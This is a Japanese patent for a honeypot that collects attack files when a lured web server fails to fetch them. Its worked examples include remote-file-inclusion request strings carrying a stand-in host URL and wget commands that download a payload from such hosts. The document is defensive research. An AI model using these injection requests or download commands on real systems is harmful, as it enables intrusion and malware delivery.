ファイル収集監視方法、ファイル収集監視装置及びファイル収集監視プログラム
【課題】攻撃対象への攻撃に関する検知精度を向上させる。
【解決手段】ファイル収集監視装置6において、サーバ送受信アクセス監視部621はネットワーク上の任意のファイルをサーバ端末に取得させる要求である動作実行要求を外部から受信し、また、動作実行要求に応じたサーバ端末によるファイル取得発生の有無を判定する。データ受信部63がサーバ送受信アクセス監視部621によってサーバ端末によるファイル取得が発生しないと判定された場合に、動作実行要求を解析して、ネットワークにおける任意のファイルの位置である統一資源位置指定子を特定する。データ受信部アクセス監視部621がデータ受信部によって特定された統一資源位置指定子を用いて任意のファイルを取得する要求であるファイル取得要求を生成する。さらに、データ受信部アクセス監視部621が生成したファイル取得要求をネットワークに送出することで、任意のファイルを取得する。
【解決手段】ファイル収集監視装置6において、サーバ送受信アクセス監視部621はネットワーク上の任意のファイルをサーバ端末に取得させる要求である動作実行要求を外部から受信し、また、動作実行要求に応じたサーバ端末によるファイル取得発生の有無を判定する。データ受信部63がサーバ送受信アクセス監視部621によってサーバ端末によるファイル取得が発生しないと判定された場合に、動作実行要求を解析して、ネットワークにおける任意のファイルの位置である統一資源位置指定子を特定する。データ受信部アクセス監視部621がデータ受信部によって特定された統一資源位置指定子を用いて任意のファイルを取得する要求であるファイル取得要求を生成する。さらに、データ受信部アクセス監視部621が生成したファイル取得要求をネットワークに送出することで、任意のファイルを取得する。
【発明の詳細な説明】
【技術分野】
【0001】
この発明は、ファイル収集監視方法、ファイル収集監視装置及びファイル収集監視プログラムに関する。
【背景技術】
【0002】
従来、インターネットの普及に伴い、個人情報の管理やアプリケーションの配信を実施するサーバに対するサイバー攻撃が急増している。サイバー攻撃の代表例としては、攻撃者が正規ユーザのサーバや端末に不正アクセスするために用いる攻撃ツールプログラムであるマルウェアを利用したDDoS(Distributed Denial of Services)攻撃やスパム送信、情報盗難などが知られている。これらの攻撃の多くは、既存のサーバを乗っ取り、踏み台として他のサーバを攻撃する形で実施される。
【0003】
これらの攻撃に対処するために、サーバ間を送受信されるパケットのデータやヘッダの内容に応じて通信を制御するアクセス制御技術が知られている。例えば、アクセス制御技術では、ルータ等のパケット転送装置にファイアウォール(Firewall)機能と転送データ監視機能とを実装することでサーバ監視機能を構築し、構築したサーバ監視機能によりパケットの通信を制御する。
【0004】
このアクセス制御技術では、まず、セキュリティベンダが既存の攻撃を収集して解析して、攻撃者がサーバに対して取りうる送信メッセージのパターンをシグネチャ化する。そして、アクセス制御技術では、シグネチャにマッチする送信メッセージをサーバ監視機能によってフィルタすることにより、攻撃者の不正アクセスからサーバを防御する。
【0005】
ここで、既存の攻撃を収集解析する手法としては、例えば、ハニーポット(Honeypot)が知られている。ハニーポットは、低対話型と高対話型とに分類される。低対話型ハニーポットは、特定のオペレーションシステムやアプリケーションなどのソフトウェアの動作をエミュレートして攻撃を監視する。高対話型ハニーポットは、脆弱性が存在する実際のソフトウェアで攻撃を監視する。
【0006】
すなわち、低対話型ハニーポットは、エミュレートした範囲に機能が制限されるため、攻撃の被害を受けることなく、比較的安全に攻撃の情報を収集することができるものの、収集可能な情報が制限される。一方、高対話型ハニーポットは、実際に攻撃を受けてから挙動を観測するため、攻撃に伴う被害が発生する可能性があるものの、低対話型ハニーポットよりも攻撃時の情報を詳細に観測できる。これらにより、収集可能な攻撃の情報量は、高対話型ハニーポットがより有用となる。
【先行技術文献】
【非特許文献】
【0007】
【非特許文献1】八木毅、谷本直人、針生剛男、伊藤光恭、“高対話型Webハニーポットにおける攻撃情報収集方式の改善”情報処理学会、コンピュータセキュリティシンポジウム2009
【発明の概要】
【発明が解決しようとする課題】
【0008】
しかしながら、上述した従来技術では、攻撃対象への攻撃に関する検知精度が低下するという課題がある。具体的には、従来技術に係る高対話型ハニーポットでは、攻撃対象として狙われたプログラムの配置箇所とリクエストの宛先URL(Uniform Resource Locator)に記述されたパスが一致しない等の理由により攻撃が失敗する場合がある。かかる場合には、攻撃を受け付けられないメッセージ等を攻撃者側に送信することしかできない。すなわち、従来技術に係る高対話型ハニーポットでは、攻撃に関する多くの情報を収集することができない。
【0009】
また、攻撃に関する多くの情報を収集するために、攻撃を故意に成功させたとしても、プログラムの実際の配置箇所とパスが大きく異なる攻撃は失敗してしまうので、当該攻撃に関する情報はほとんど収集できない。これらのことから、従来技術では、多数の攻撃を収集したとしても、攻撃の総情報量において防御に利用可能な攻撃の情報量の割合が減少するので、攻撃対象への攻撃に関する検知精度が低下する。
【0010】
そこで、本願に開示する技術は、上記に鑑みてなされたものであって、攻撃対象への攻撃に関する検知精度を向上させることが可能なファイル収集監視方法、ファイル収集監視装置及びファイル収集監視プログラムを提供することを目的とする。
【課題を解決するための手段】
【0011】
上述した課題を解決し、目的を達成するため、開示の方法は、受信ステップが、ネットワーク上の任意のファイルをサーバ端末に取得させる要求である動作実行要求を外部から受信する。そして、判定ステップが、前記受信ステップによって受信された前記動作実行要求に応じた前記サーバ端末によるファイル取得発生の有無を判定する。そして、特定ステップが、前記判定ステップによって前記サーバ端末によるファイル取得が発生しないと判定された場合に、前記動作実行要求を解析して、前記ネットワークにおける前記任意のファイルの位置である統一資源位置指定子を特定する。そして、生成ステップが、前記特定ステップによって特定された統一資源位置指定子を用いて前記任意のファイルを取得する要求であるファイル取得要求を生成する。そして、取得ステップが、前記生成ステップによって生成された前記ファイル取得要求をネットワークに送出することで、前記任意のファイルを取得する。
【発明の効果】
【0012】
開示の方法は、攻撃対象への攻撃に関する検知精度を向上させることを可能にする。
【図面の簡単な説明】
【0013】
【図1】図1は、実施例1に係るファイル収集監視装置を適用するネットワークモデルの一例を示す図である。
【図2】図2は、実施例1に係るファイル収集監視装置の構成の一例を説明するための図である。
【図3】図3は、転送先特定部が記憶するテーブル1を説明するための図である。
【図4】図4は、転送先特定部が記憶するテーブル2を説明するための図である。
【図5】図5は、アクセスデータ管理部によって記憶される宛先URLのリストの一例を説明するための図である。
【図6】図6は、文字列解析環境による処理の一例を説明するための図である。
【図7】図7は、データ受信部アクセス監視部によるファイル取得要求の生成の一例を説明するための図である。
【図8】図8は、動作環境による処理の一例を説明するための図である。
【図9】図9は、実施例1に係るファイル収集監視装置によるリクエスト解析処理の手順を示すシーケンス図である。
【図10】図10は、実施例1に係るファイル収集監視装置によるファイル取得要求送信処理の手順を示すシーケンス図である。
【図11】図11は、実施例1に係るファイル収集監視装置によるファイル解析処理の手順を示すシーケンス図である。
【図12】図12は、実施例1に係るファイル収集監視装置によるデータの保存処理の手順を示すシーケンス図である。
【図13】図13は、デコード処理に用いられるテーブルの一例を説明するための図である。
【図14】図14は、実施例1とは異なるネットワークモデル1を説明するための図である。
【図15】図15は、実施例1とは異なるネットワークモデル2を説明するための図である。
【図16】図16は、本実施例に係るファイル収集監視プログラムを実行するコンピュータ1000を示す図である。
【発明を実施するための形態】
【0014】
以下に添付図面を参照して、本願の開示するファイル収集監視方法、ファイル収集監視装置及びファイル収集監視プログラムの実施例を詳細に説明する。なお、本願の開示するファイル収集監視方法、ファイル収集監視装置及びファイル収集監視プログラムは、以下の実施例により限定されるものではない。
【実施例1】
【0015】
[実施例1に係るファイル収集監視装置の構成]
まず、実施例1に係るファイル収集監視装置の構成について説明する。図1は、実施例1に係るファイル収集監視装置を適用するネットワークモデルの一例を示す図である。図1に示すネットワークモデルでは、ネットワーク1にネットワーク2と、ネットワーク3と、ファイル収集監視装置6とを有する。
【0016】
ネットワーク1は、例えば、インターネットなどの広域なネットワークや、企業ネットワークなどの比較的狭域なネットワークであり、図1に示すように、ネットワーク2及びネットワーク3を収容する。ネットワーク2及びネットワーク3は、図1に示すように、それぞれユーザ端末21とサーバ端末31とを収容する。なお、図1においては、ネットワーク2及びネットワーク3それぞれにユーザ端末21とサーバ端末31とが1台ずつ示されているが、実際には、ネットワーク2及びネットワーク3には、複数のユーザ端末とサーバ端末とが収容されている。
【0017】
ユーザ端末21は、ネットワーク1上に配置された他の通信装置と通信する。例えば、ユーザ端末21は、ファイル収集監視装置6と通信する。サーバ端末31は、ネットワーク1上に配置された他の通信装置と通信する。例えば、サーバ端末31は、ファイル収集監視装置6と通信する。
【0018】
ここで、図1に示すネットワークモデルにおけるサイバー攻撃の一例を説明する。例えば、攻撃者は、ユーザ端末21を用いてサーバ端末31にマルウェアを感染させることで、マルウェアをダウンロードさせるマルウェア配布サーバを準備する。そして、攻撃者は、検索エンジン等を利用して、脆弱なプログラムを搭載したサーバを特定する。
【0019】
その後、攻撃者は、ユーザ端末21を用いて、特定したサーバに対してプログラムの脆弱性を利用したexploitコードなどを送信することで、特定したサーバにマルウェア配布サーバからマルウェアをダウンロードさせる。このように、攻撃者は、脆弱なプログラムを搭載したサーバに対して所定の処理を実行させるリクエストを送信し、リクエストを受信したサーバにリクエストに対するレスポンスを実行させる。
【0020】
実施例1に係るファイル収集監視装置6は、図1に示すように、サーバ端末部61と、データ転送部62と、データ受信部63とを有し、上述したリクエストやレスポンスに係る各種情報を収集する。例えば、ファイル収集監視装置6は、高対話型ハニーポットが構築され、リクエストやレスポンスに係る各種情報を収集する。ファイル収集監視装置6の詳細について、図2を用いて説明する。図2は、実施例1に係るファイル収集監視装置6の構成の一例を説明するための図である。
【0021】
サーバ端末部61は、通常のサーバ端末と同様の機能を有する。例えば、サーバ端末部61は、Webサーバとして機能する。かかる場合には、サーバ端末部61は、WebアプリケーションをはじめとしたWebサーバの構築に用いられる各種ソフトウェアやデータベースを有する。例えば、ファイル収集監視装置6に高対話型ハニーポットが構築される場合には、サーバ端末部61には脆弱なアプリケーションが搭載される。
【0022】
例を挙げると、サーバ端末部61は、Webサーバとして機能する場合には、ユーザ端末21を用いて攻撃者が送信したHTTP(Hypertext Transfer Protocol)リクエストに対するレスポンスを実行する。ここで、サーバ端末部61は、HTTPリクエストに記述されたパスと、自装置における脆弱なアプリケーションの配置箇所とが一致しない等の場合には、レスポンスとして、ユーザ端末21にエラーメッセージを送信する。
【0023】
以下では、サーバ端末部61がWebサーバとして機能する場合を例に挙げて説明する。なお、サーバ端末部61は、Webサーバに限定されるものではなく、例えば、FTPサーバとして機能する場合であってもよい。また、以下では、HTTPリクエストをリクエストと記載する場合がある。
【0024】
データ転送部62は、図2に示すように、サーバ送受信アクセス監視部621と、転送先特定部622と、データ受信部アクセス監視部623と、アクセスデータ管理部624と、解析データ収集部625とを有する。
【0025】
サーバ送受信アクセス監視部621は、サーバ端末部61と、ネットワーク2、ネットワーク3との中継機能を有する。具体的には、サーバ送受信アクセス監視部621は、サーバ端末部61と、ネットワーク2、ネットワーク3との間で送受信されるデータを中継し、中継したデータを記憶するとともに、記憶したデータのコピーを後述するアクセスデータ管理部624又は解析データ収集部625に送信する。
【0026】
例えば、サーバ送受信アクセス監視部621は、ユーザ端末21から受信したリクエストをサーバ端末部61に送信するとともに、当該リクエストの内容を記憶して、記憶したリクエストのコピーを後述する解析データ収集部625に送信する。また、サーバ送受信アクセス監視部621は、サーバ端末部61から受信したレスポンスをネットワーク2又は3に送信するとともに、当該レスポンスの内容を記憶して、記憶したレスポンスのコピーを後述する解析データ収集部625に送信する。
【0027】
ここで、サーバ送受信アクセス監視部621は、サーバ端末部61から受信したレスポンスがエラーメッセージであるか否かを判定する。例えば、サーバ送受信アクセス監視部621は、レスポンス内にエラーコードが含まれているか否かにより、レスポンスがエラーメッセージであるか否かを判定する。
【0028】
ここで、レスポンスがエラーメッセージであった場合には、サーバ送受信アクセス監視部621は、当該レスポンスに対応するリクエストをコピーして、コピーしたリクエストを後述する転送先特定部622に送信する。
【0029】
一方、レスポンスがエラーメッセージではなく、サーバ端末部61がリクエストに対してファイル取得要求を送信した場合には、サーバ送受信アクセス監視部621は、ファイル取得要求をネットワーク2又は3に送信するとともに、ファイル取得要求に含まれるURLを抽出して、後述するアクセスデータ管理部624に送信する。さらに、サーバ送受信アクセス監視部621は、ファイル取得要求によって取得したファイル及びファイル取得要求に含まれるURLを後述する解析データ収集部625に送信する。
【0030】
またさらに、サーバ送受信アクセス監視部621は、ユーザ端末21からリクエストを受信する前のサーバ端末部61の状態を保持しておき、ネットワーク2又は3に対してレスポンスを送信した後に、サーバ端末部61をリクエスト受信前の状態に復帰させる。すなわち、サーバ送受信アクセス監視部621は、サーバ端末部61を攻撃を受信する前の状態に戻す。
【0031】
転送先特定部622は、サーバ送受信アクセス監視部621及び後述するデータ受信部アクセス監視部623それぞれから受信したリクエスト及びファイルの内容を参照して、リクエスト及びファイルの転送先を決定する。具体的には、転送先特定部622は、リクエスト及びファイルの転送先を決定するためのテーブルを有し、リクエスト又はファイルを受信した場合に、当該テーブルを参照してリクエスト又はファイルの解析が可能である転送先を決定する。以下では、リクエストを受信した場合の処理を説明した後に、ファイルを受信した場合の処理について説明する。
【0032】
まず、転送先特定部622がリクエストを受信した場合の処理について説明する。図3は、転送先特定部622が記憶するテーブル1を説明するための図である。例えば、転送先特定部622は、図3に示すように、リクエストを受信した場合に参照するテーブルとして、プログラムと動作環境とが対応付けられたテーブル1を有する。
【0033】
例を挙げると、転送先特定部622は、図3に示すように、「プログラム:PHP(Hypertext Preprocessor)」と「動作環境:動作環境632」とが対応付けられたテーブル1を有する。上記した例は、後述するデータ受信部63の動作環境632がPHPプログラムの動作環境として機能するように構築されていることを意味している。同様に、転送先特定部622は、図3に示すように、「プログラム:ASP(Application Service Provider)」と「動作環境:動作環境633」とが対応付けられたテーブル1を有する。なお、テーブル1は、ファイル収集監視装置6の管理者によって動作環境が構築された際に予め設定される。
【0034】
転送先特定部622は、サーバ送受信アクセス監視部621からリクエストを受信した場合に、まず、リクエストの宛先のファイル名の拡張子を参照して、リクエストに応答するプログラムを特定する。そして、転送先特定部622は、テーブル1を参照して、特定したプログラムに対応する動作環境があるか否かを判定する。
【0035】
ここで、特定したプログラムに対応する動作環境がテーブル1にある場合には、転送先特定部622は、サーバ送受信アクセス監視部621から受信したリクエストをプログラムに対応する動作環境に転送する。例えば、転送先特定部622は、テーブル1を参照して、PHPプログラムに応答するリクエストを動作環境632に転送する。
【0036】
一方、特定したプログラムに対応する動作環境がテーブル1にない場合、或いは、プログラムを特定できない場合には、転送先特定部622は、サーバ送受信アクセス監視部621から受信したリクエストを後述する文字列解析環境631に転送する。
【0037】
次に、転送先特定部622がファイルを受信した場合の処理について説明する。なお、転送先特定部622がファイルを受信するタイミングなどについては、後に詳述する。図4は、転送先特定部622が記憶するテーブル2を説明するための図である。
【0038】
例えば、転送先特定部622は、図4に示すように、ファイルを受信した場合に参照するテーブルとして、プログラム言語と動作環境とが対応付けられたテーブル2を有する。例を挙げると、転送先特定部622は、図4に示すように、「プログラム言語:PHP」と「動作環境:動作環境632」とが対応付けられたテーブル2を有する。上記した例は、後述するデータ受信部63の動作環境632がPHPスクリプトの動作環境として機能するように構築されていることを意味している。同様に、転送先特定部622は、図4に示すように、「プログラム言語:Perl」と「動作環境:動作環境633」とが対応付けられたテーブル2を有する。なお、テーブル2は、ファイル収集監視装置6の管理者によって動作環境が構築された際に予め設定される。
【0039】
転送先特定部622は、後述するデータ受信部アクセス監視部623からファイルを受信した場合に、まず、ファイルの内容がどのようなプログラム言語で記述されているのかを特定する。例えば、転送先特定部622は、ファイルに記載された関数の文字列からファイルの内容がどのようなプログラム言語で記述されているのかを特定する。そして、転送先特定部622は、テーブル2を参照して、特定したプログラム言語に対応する動作環境があるか否かを判定する。
【0040】
ここで、特定したプログラム言語に対応する動作環境がテーブル2にある場合には、転送先特定部622は、後述するデータ受信部アクセス監視部623から受信したファイルをプログラム言語に対応する動作環境に転送する。例えば、転送先特定部622は、テーブル2を参照して、PHPで記述されたファイルを動作環境632に転送する。
【0041】
なお、転送先特定部622は、転送先においてリクエストやファイルを動作させることができなかった場合に、他の転送先に同一のリクエストやファイルを送信して動作が発生する環境を探索する機能を有することが可能である。かかる場合には、他の転送先として後述する文字列解析環境631を優先的に選択するように設定することで、早期に動作を発生させることが可能となる。
【0042】
データ受信部アクセス監視部623は、後述するデータ受信部63から文字列又はファイル取得要求を受信する。ここで、データ受信部63から文字列を受信した場合には、データ受信部アクセス監視部623は、受信した文字列を宛先URLとしたファイル取得要求を生成してネットワーク2又は3に送信する。一方、データ受信部63からファイル取得要求を受信した場合には、データ受信部アクセス監視部623は、受信したファイル取得要求をネットワーク2又は3に送信する。なお、データ受信部アクセス監視部623によって生成されるファイル取得要求やデータ受信部63から受信する文字列及びファイル取得要求については、後に詳述する。
【0043】
そして、データ受信部アクセス監視部623は、送信したファイル取得要求に対応するファイルをネットワーク2又は3から受信する。さらに、データ受信部アクセス監視部623は、受信したファイルと当該ファイルの取得要求の宛先URLとを後述する解析データ収集部625に送信する。また、データ受信部アクセス監視部623は、ファイル取得要求を送信してファイルを受信した宛先URLを後述するアクセスデータ管理部624に送信する。
【0044】
ここで、データ受信部アクセス監視部623は、取得対象外のファイルを取得することがないように、ファイル取得要求を送信する前に、ファイル取得要求の宛先URLが取得対象外のファイルのURLであるか否かを判定する。具体的には、データ受信部アクセス監視部623は、文字列又はファイル取得要求を受信した際に、宛先URLが記憶されているか否かの判定をアクセスデータ管理部624に要求し、記憶されていなかった場合に、ファイル取得要求をネットワーク2又は3に送信する。
【0045】
アクセスデータ管理部624は、取得対象外のファイルのURLを記憶する。具体的には、アクセスデータ管理部624は、取得対象外のファイルのURLとして、取得済みのファイルのURLや予め取得を禁止されたファイルのURLを記憶する。
【0046】
例えば、アクセスデータ管理部624は、取得済みのファイルのURLとして、サーバ送受信アクセス監視部621及びデータ受信部アクセス監視部623から受信した宛先URLを記憶する。図5は、アクセスデータ管理部624によって記憶される宛先URLのリストの一例を説明するための図である。例えば、アクセスデータ管理部624は、図5に示すように、「http://ex3.com/z.txt」、「http://ex4.com/z.txt」、「http://ex8.com/z.txt」、「http://ex10.com/z.txt」などが含まれる宛先URLのリストを記憶する。
【0047】
また、アクセスデータ管理部624は、予め取得を禁止されたファイルのURLとして、ファイル収集監視装置6の管理者によって指定されたURLを記憶する。例えば、アクセスデータ管理部624は、予め取得を禁止されたファイルのURLとして、「.html」を記憶する。
【0048】
そして、アクセスデータ管理部624は、データ受信部アクセス監視部623から宛先URLが記録されているか否かの問い合わせを受付けると、記憶しているURLのリストを参照して宛先URLを記憶しているか否かを判定する。そして、アクセスデータ管理部624は、判定結果をデータ受信部アクセス監視部623に通知する。
【0049】
例えば、アクセスデータ管理部624は、宛先URLが記録されているか否かの問い合わせを受付けると、図5に示す取得済みのファイルのURLのリストを参照して、宛先URLと同一のURLを記憶しているか否かを判定する。
【0050】
また、アクセスデータ管理部624は、宛先URLが記録されているか否かの問い合わせを受付けると、宛先URLと予め取得を禁止されたファイルのURLとを比較する。そして、アクセスデータ管理部624は、URLの「全一致」、「後方一致」、「部分一致」を用いて、宛先URLが取得対象外のファイルのURLであるか否かを判定する。
【0051】
なお、「全一致」とは、宛先URLとファイル取得対象外のURLとが完全に一致することを意味している。また、「後方一致」とは、宛先URLの文字列の後方が指定された文字列と一致することを意味している。また、「部分一致」とは、宛先URLに含まれる任意の文字列が指定された文字列と一致することを意味している。
【0052】
例えば、アクセスデータ管理部624は、宛先URLの最後尾が「.html」である宛先URLを取得対象外のファイルのURLとして判定する。このように、アクセスデータ管理部624がURLの「全一致」、「後方一致」、「部分一致」によりURLの判定を行う場合には、取得対象外のファイルのURLのリストの各エントリに「全一致」、「後方一致」、「部分一致」のうちどれを適用するかのフラグを対応付けて記憶させる。すなわち、全てのフラグが立っている場合には、全監視方法が適用されることになる。
【0053】
なお、アクセスデータ管理部624が記憶するURLは、取得済みのファイルのURL、又は、予め取得を禁止されたファイルのURLのどちらか一方、或いは、その両方である場合であってもよい。
【0054】
解析データ収集部625は、リクエスト及びレスポンスに係る各種情報を記憶する。具体的には、解析データ収集部625は、サーバ送受信アクセス監視部621やデータ受信部アクセス監視部623から受信したファイルや宛先URL、リクエスト及びレスポンスの内容などを記憶する。
【0055】
データ受信部63は、図2に示すように、文字列解析環境631と、動作環境632と、動作環境633とを有する。文字列解析環境631は、転送先特定部622から受信したリクエストから任意の文字列を抽出して抽出した文字列をデータ受信部アクセス監視部623に送信する。具体的には、文字列解析環境631は、任意の文字を先頭とし、そこから他の任意の文字までの文字列を抽出する。図6は、文字列解析環境631による処理の一例を説明するための図である。
【0056】
例えば、文字列解析環境631は、図6に示すように、まず、転送先特定部622から受信したリクエスト「http://www.ex.com/a/b/c.zzz?dir=http://ex1.com/z.txt?」から入力データ「dir=http://ex1.com/z.txt?」を抽出する。そして、文字列解析環境631は、「http」を先頭とした、「?」までの文字列「http://ex1.com/z.txt」を抽出し、抽出した文字列「http://ex1.com/z.txt」をデータ受信部アクセス監視部623に送信する。
【0057】
例えば、データ受信部アクセス監視部623は、文字列解析環境631から文字列「http://ex1.com/z.txt」を受信すると、図7に示すように、ファイル取得要求「# wget http://ex1.com/z.txt」を生成する。なお、図7は、データ受信部アクセス監視部623によるファイル取得要求の生成の一例を説明するための図である。
【0058】
ここで、先頭とする任意の文字としては、「http」のほかに、例えば、「https」や「ftp」などが用いられる。また、抽出する文字列の後の文字としては、「?」のほかに、例えば「;」などが用いられる。すなわち、ファイル収集監視装置6は、上記した文字列を利用することで、以下に説明するように、URLの特定を自動的かつ高精度に行うことを可能にする。
【0059】
URLの先頭には、メソッドを指定する文字列(例えば、「http」や「ftp」など)が必須である。さらに、リクエストには、入力データをサーバ端末上のプログラムに引き渡させるために、特定文字列(例えば、入力データの値の直後の「?」)が指定されている。従って、リクエストの入力データからURLを抽出する場合に、先頭の文字列と直後の文字列とを指定することで、URLを自動的かつ高精度に特定することが可能である。
【0060】
また、文字列解析環境631は、転送先特定部622からファイルを受信した場合には、当該ファイル内に他のファイルを取得する命令列があるか否かを判定する。例えば、文字列解析環境631は、ファイル内に「wgetコマンド」や「curlコマンド」があるか否かを判定する。ここで、受信したファイル内に他のファイルを取得する命令列があった場合には、文字列解析環境631は、当該命令列を抽出してデータ受信部アクセス監視部623に送信する。
【0061】
動作環境632及び動作環境633は、任意のプログラムや任意のプログラム言語に対して動作する動作環境である。例えば、動作環境632は、PHPプログラムの動作環境として管理者によって構築される。図8は、動作環境による処理の一例を説明するための図である。図8に示すように、動作環境632は、転送先特定部622から拡張子「php」が含まれるリクエスト「http://www.ex.com/a/b/c.php?dir=http://ex2.com/z.txt?」を受信すると、ファイル取得要求「# wget http://ex2.com/z.txt」を抽出して、データ受信部アクセス監視部623に送信する。
【0062】
なお、上述した例では、2つの動作環境を用いる場合について説明したが、開示の技術はこれに限定されるものではなく、動作環境の数は任意の変更することができ、例えば、3つ以上の動作環境を設ける場合であってもよい。そして、例えば、新たにPythonスクリプトを動作させる動作環境を追加する場合には、データ受信部63に動作環境を追加し、転送先特定部622のテーブル2を更新すればよい。
【0063】
また、上述した例では、サーバ送受信アクセス監視部621が、リクエストをサーバ端末部61に送信して、サーバ端末部61からエラーメッセージを受信したか否かにより、ファイル取得が失敗したか否かを判定する場合について説明した。しかしながら、開示の技術はこれに限定されるものではなく、例えば、サーバ送受信アクセス監視部621が、リクエストを受信した場合に、サーバ端末部61によるファイルの取得が失敗するか否かを判定する場合であってもよい。
【0064】
かかる場合には、例えば、サーバ送受信アクセス監視部621にサーバ端末部61上のパス構造のデータを予め保有させておく。そして、サーバ送受信アクセス監視部621が、リクエストを受信した場合に、宛先URLのパスと保有しているパス構造のデータとを比較する。ここで、サーバ送受信アクセス監視部621は、リクエストの宛先URLに記述されたパスがサーバ端末部61上に存在していない場合に、サーバ端末部61によるファイルの取得が失敗すると判定する。この場合には、サーバ送受信アクセス監視部621は、サーバ端末部61にリクエストを送信することなく、リクエストのコピーを転送先特定部622に送信する。このように、開示の技術は、サーバ端末によるファイル取得の失敗を事前に検知する方法も適用可能である。
【0065】
[実施例1に係るファイル収集監視装置による処理の手順]
次に実施例1に係るファイル収集監視装置6による処理の手順を説明する。
【0066】
[実施例1に係るファイル収集監視装置によるリクエスト解析処理の手順]
図9は、実施例1に係るファイル収集監視装置6によるリクエスト解析処理の手順を示すシーケンス図である。図9に示すように、実施例1に係るファイル収集監視装置6においては、ネットワークからリクエストを受信すると(ステップS101)、サーバ送受信アクセス監視部621は、サーバ端末部61にリクエストを送信する(ステップS102)。
【0067】
そして、サーバ送受信アクセス監視部621は、サーバ端末部61からレスポンスを受信すると(ステップS103)、ネットワークにレスポンスを送信し(ステップS104)、レスポンスがエラーメッセージか否かを判定する(ステップS105)。ここで、レスポンスがエラーメッセージであった場合には(ステップS105肯定)、サーバ送受信アクセス監視部621は、リクエストのコピーを転送先特定部622に送信する(ステップS106)。
【0068】
転送先特定部622は、リクエストのコピーを受信すると、転送先を特定し(ステップS107)、リクエストのコピーを送信する(ステップS108)。文字列解析環境631、動作環境632又は動作環境633は、リクエストのコピーを受信すると、文字列又はファイル取得要求を抽出する(ステップS109)。なお、ステップ105の判定においてレスポンスがエラーメッセージではなかった場合には(ステップS205肯定)、ファイル収集監視装置6は、リクエストの解析処理を実行しない。
【0069】
[実施例1に係るファイル収集監視装置によるファイル取得要求送信処理の手順]
図10は、実施例1に係るファイル収集監視装置6によるファイル取得要求送信処理の手順を示すシーケンス図である。図10に示すように、実施例1に係るファイル収集監視装置6においては、文字列解析環境631、動作環境632又は動作環境633は、文字列又はファイル取得要求を抽出すると(ステップS109)、抽出した文字列又はファイル取得要求をデータ受信部アクセス監視部623に送信する(ステップS201)。
【0070】
データ受信部アクセス監視部623は、文字列又はファイル取得要求を受信すると、アクセスデータ管理部624に対してURLの判定を要求する(ステップS202)。アクセスデータ管理部624は、データ受信部アクセス監視部623からURLの判定を要求されると、URLを記憶しているか否かを判定し(ステップS203)、判定結果をデータ受信部アクセス監視部623に送信する(ステップS204)。
【0071】
データ受信部アクセス監視部623は、判定結果を受信すると、URLが記憶されていたか否かを判定する(ステップS205)。ここで、URLが記憶されていなかった場合には(ステップS205否定)、データ受信部アクセス監視部623は、文字列を宛先URLとしたファイル取得要求、或いは、動作環境632又は動作環境633から受信したファイル取得要求をネットワークに送信する(ステップS206)。なお、ステップS205の判定においてURLが記憶されていた場合には(ステップS205肯定)、ファイル収集監視装置6は、以後の処理を実行しない。
【0072】
なお、ステップS204におけるURLの判定に用いられるURLのリストは、取得済みのファイルのURL、又は、予め取得を禁止されたファイルのURLのどちらか一方、或いは、その両方である。
【0073】
[実施例1に係るファイル収集監視装置によるファイル解析処理の手順]
図11は、実施例1に係るファイル収集監視装置6によるファイル解析処理の手順を示すシーケンス図である。図11に示すように、実施例1に係るファイル収集監視装置6においては、データ受信部アクセス監視部623は、ネットワークからファイル取得要求に応じたファイルを受信すると(ステップS301)、アクセスデータ管理部624にファイル取得を通知し(ステップS302)、取得したファイルを転送先特定部622に送信する(ステップS304)。
【0074】
アクセスデータ管理部624は、データ受信部アクセス監視部623からファイル取得の通知を受付けると、ファイル取得先のURLを記憶する(ステップS303)。転送先特定部622は、データ受信部アクセス監視部623からファイルを受信すると、転送先を特定し(ステップS305)、特定した転送先にファイルを転送する(ステップS306)。文字列解析環境631、動作環境632又は動作環境633は、ファイルを受信すると、文字列又はファイル取得要求を抽出する(ステップS307)。なお、ネットワークから受信したファイルから抽出したファイル取得要求の送信処理の手順は、図10と同様であることから説明を省略する。
【0075】
[実施例1に係るファイル収集監視装置によるデータの保存処理の手順]
図12は、実施例1に係るファイル収集監視装置6によるデータの保存処理の手順を示すシーケンス図である。図12に示すように、実施例1に係るファイル収集監視装置6においては、サーバ送受信アクセス監視部621は、ネットワークからデータを受信し(ステップS401)、それに対するデータを送信すると(ステップS402)、それら通信の情報を解析データ収集部625に送信する(ステップS403)。
【0076】
そして、データ受信部アクセス監視部623は、ネットワークからデータを受信し(ステップS404)、それに対するデータを送信すると(ステップS405)、それら通信の情報を解析データ収集部625に送信する(ステップS406)。そして、解析データ収集部625は、受信した情報を記憶する(ステップS407)。
【0077】
[実施例1の効果]
上述したように、実施例1によれば、サーバ送受信アクセス監視部621がネットワーク上の任意のファイルをサーバ端末に取得させるリクエストを受信する。さらに、サーバ送受信アクセス監視部621が、リクエストに応じたサーバ端末によるファイル取得発生の有無を判定する。そして、データ受信部63がサーバ送受信アクセス監視部621によってサーバ端末によるファイル取得が発生しないと判定された場合に、リクエストを解析して、ネットワークにおける任意のファイルの位置であるURLを特定する。データ受信部アクセス監視部623がデータ受信部63によって特定されたURLを用いて任意のファイルを取得する要求であるファイル取得要求を生成する。さらに、データ受信部アクセス監視部623が生成したファイル取得要求をネットワークに送出することで、任意のファイルを取得する。従って、実施例1に係るファイル収集監視装置6は、サーバ端末部61がリクエストに対する応答に失敗した場合であっても、当該リクエストに係る通信の情報やレスポンスに係る通信の情報を収集することができ、攻撃対象への攻撃に関する検知精度を向上させることを可能にする。
【0078】
また、実施例1によれば、文字列解析環境631は、リクエストの文字列において予め定められた第1の文字列から別に定められた第2の文字列の直前までの文字列をURLとして特定する。従って、実施例1に係るファイル収集監視装置6は、種々のリクエストに対応することができ、サイバー攻撃に関わる有力な情報を多数収集することを可能にする。
【0079】
また、実施例1によれば、転送先特定部622は、リクエストに含まれる拡張子を参照して、当該リクエストに応じた動作を実行する動作環境を特定し、特定した動作環境にリクエストに応じた動作を実行させることにより、URLを特定する。従って、実施例1に係るファイル収集監視装置6は、リクエストに対するレスポンスの情報をより正確に収集することを可能にする。
【0080】
また、実施例1によれば、文字列解析環境631は、データ受信部アクセス監視部623によって取得された任意のファイルに含まれる文字列において予め定められた第1の文字列から別に定められた第2の文字列の直前までの文字列をURLとして特定する。従って、実施例1に係るファイル収集監視装置6は、取得したファイルからさらに情報を収集することができ、リクエストに係る通信の情報やレスポンスに係る通信の情報をより多数収集することを可能にする。
【0081】
